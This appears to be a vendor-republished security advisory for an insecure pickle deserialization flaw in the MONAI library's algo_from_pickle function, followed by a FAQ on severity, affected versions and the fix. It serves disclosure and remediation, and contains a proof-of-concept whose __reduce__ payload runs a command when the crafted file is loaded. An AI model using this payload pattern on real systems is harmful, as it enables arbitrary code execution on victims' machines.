GHSA-89GG-P5R5-Q6R4

The algo_from_pickle function in monai/auto3dseg/utils.py causes pickle.loads(data_bytes) to be executed, and it does not perform any validation on the input parameters. This ultimately leads to insecure deserialization and can result in code execution vulnerabilities.

Details

poc

import pickle
import subprocess
class MaliciousAlgo:
    def __reduce__(self):
        return (subprocess.call, (['calc.exe'],))
malicious_algo_bytes = pickle.dumps(MaliciousAlgo())

attack_data = {
    "algo_bytes": malicious_algo_bytes,  
     
}
attack_pickle_file = "attack_algo.pkl"
with open(attack_pickle_file, "wb") as f:
    f.write(pickle.dumps(attack_data))

Generate the malicious file "attack_algo.pkl" through POC.

from monai.auto3dseg.utils import algo_from_pickle


attack_pickle_file = "attack_algo.pkl"
result = algo_from_pickle(attack_pickle_file)

Ultimately, it will trigger pickle.load through a file to identify the command execution.

Causes of the vulnerability:

def algo_from_pickle(pkl_filename: str, template_path: PathLike | None = None, **kwargs: Any) -> Any:

    with open(pkl_filename, "rb") as f_pi:
            data_bytes = f_pi.read()
        data = pickle.loads(data_bytes)

Arbitrary code execution

Repair suggestions
Verify the data source and content before deserializing, or use a safe deserialization method

Untrusted serialized data is processed by a deserializer that can instantiate arbitrary objects or execute code as a side effect. Typical impact: arbitrary code execution or logic abuse.

GHSA-89GG-P5R5-Q6R4 has a CVSS score of 7.6 (High). The vector is network-reachable, high privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.5.2); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is GHSA-89GG-P5R5-Q6R4? GHSA-89GG-P5R5-Q6R4 is a high-severity insecure deserialization vulnerability in monai (pip), affecting versions <= 1.5.1. It is fixed in 1.5.2. Untrusted serialized data is processed by a deserializer that can instantiate arbitrary objects or execute code as a side effect.
2. How severe is GHSA-89GG-P5R5-Q6R4? GHSA-89GG-P5R5-Q6R4 has a CVSS score of 7.6 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of monai are affected by GHSA-89GG-P5R5-Q6R4? monai (pip) versions <= 1.5.1 is affected.
4. Is there a fix for GHSA-89GG-P5R5-Q6R4? Yes. GHSA-89GG-P5R5-Q6R4 is fixed in 1.5.2. Upgrade to this version or later.
5. Is GHSA-89GG-P5R5-Q6R4 exploitable, and should I be worried? Whether GHSA-89GG-P5R5-Q6R4 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether GHSA-89GG-P5R5-Q6R4 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix GHSA-89GG-P5R5-Q6R4? Upgrade monai to 1.5.2 or later.